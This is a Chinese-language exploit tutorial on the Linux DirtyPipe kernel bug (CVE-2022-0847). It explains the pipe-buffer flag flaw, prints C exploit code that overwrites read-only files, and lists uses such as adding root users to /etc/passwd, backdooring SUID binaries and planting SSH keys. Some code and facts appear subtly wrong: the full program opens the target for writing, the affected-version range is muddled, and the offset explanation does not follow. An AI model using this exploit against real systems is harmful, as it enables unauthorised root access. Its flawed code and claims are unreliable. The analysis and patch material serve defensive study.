Linux提权CVE-2022-0847分析-DirtyPipe
字数 1347 2025-08-29 08:31:47
Linux提权漏洞CVE-2022-0847(DirtyPipe)深度分析与利用教学
1. 漏洞概述
CVE-2022-0847,又称"DirtyPipe",是Linux内核中的一个提权漏洞,影响5.8及以上版本的内核。该漏洞允许低权限用户向任意只读文件写入数据,从而可能实现权限提升。
漏洞类型:类型混淆漏洞(缓冲区标志未初始化)
影响范围:Linux内核5.8-5.16.11、5.15.25、5.10.102及更早版本
漏洞发现者:Max Kellermann
2. 漏洞原理深度解析
2.1 核心机制
该漏洞的核心在于Linux管道(pipe)机制中的缓冲区标志管理不当,具体涉及:
- PIPE_BUF_FLAG_CAN_MERGE标志:表示管道缓冲区可以合并写入
- 零拷贝机制:通过splice系统调用实现的高效数据传输
- 缓冲区重用时的标志未初始化:关键漏洞点
2.2 漏洞利用流程
-
准备阶段:
- 创建管道并填满缓冲区,设置PIPE_BUF_FLAG_CAN_MERGE标志
- 读取并释放缓冲区,但保留标志
-
利用阶段:
- 使用splice进行零拷贝传输,重用带有PIPE_BUF_FLAG_CAN_MERGE标志的缓冲区
- 通过write操作利用保留的标志实现越界写入
2.3 关键数据结构
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
其中flags字段是关键,PIPE_BUF_FLAG_CAN_MERGE标志(0x10)未被正确清除导致漏洞。
3. 漏洞利用详细分析
3.1 准备管道缓冲区
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
// 填满管道,设置PIPE_BUF_FLAG_CAN_MERGE标志
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
// 释放缓冲区但保留标志
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
}
3.2 零拷贝传输(splice)
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
关键调用链:
sys_splice -> __do_splice -> do_splice -> splice_file_to_pipe ->
generic_file_splice_read -> call_read_iter -> copy_folio_to_iter ->
copy_page_to_iter -> copy_page_to_iter_pipe
splice_file_to_pipe中的关键检查:
if (off_in) {
if (!(in->f_mode & FMODE_PREAD))
return -EINVAL;
offset = *off_in;
}
这解释了为什么利用时偏移量必须从1开始。
3.3 触发漏洞写入
nbytes = write(p[1], data, data_size);
pipe_write中的关键逻辑:
当检测到PIPE_BUF_FLAG_CAN_MERGE标志时,直接调用copy_page_from_iter进行写入,绕过权限检查。
4. 完整利用代码分析
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}
// 准备管道
int p[2];
prepare_pipe(p);
// 打开目标文件
int fd = open(argv[1], O_WRONLY | O_CREAT, 0666);
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
// 计算偏移量
unsigned long offset = strtoul(argv[2], NULL, 0);
// 使用splice进行零拷贝传输
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
// 触发漏洞写入
nbytes = write(p[1], argv[3], strlen(argv[3]));
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
5. 漏洞防御与补丁分析
5.1 官方补丁
补丁主要修改了copy_page_to_iter_pipe函数,确保在重用缓冲区时正确初始化flags:
buf->flags = 0;
5.2 防御措施
- 及时更新内核到修复版本
- 限制低权限用户对敏感文件的访问
- 使用内核安全模块如SELinux进行额外保护
6. 漏洞利用限制
- 偏移量限制:必须从偏移量1开始写入
- 文件大小限制:写入不能超过原文件大小
- 权限要求:需要对目标文件有读权限
7. 实际利用场景
- 修改/etc/passwd:添加特权用户
- 修改SUID二进制文件:创建后门
- 修改SSH authorized_keys:添加攻击者公钥
8. 扩展思考
- 该漏洞展示了内核内存管理复杂性的安全挑战
- 零拷贝优化可能引入新的攻击面
- 标志位管理在内核安全中的重要性
9. 参考资源
- 官方漏洞公告和补丁
- Max Kellermann的原始漏洞报告
- Linux内核源码分析
- 相关安全研究论文
通过深入理解DirtyPipe漏洞,我们不仅能够掌握其利用方法,更能从中学习到内核安全的重要原则和防御思路。这种类型混淆漏洞在内核中并不罕见,分析此类漏洞有助于提高整体安全意识和防御能力。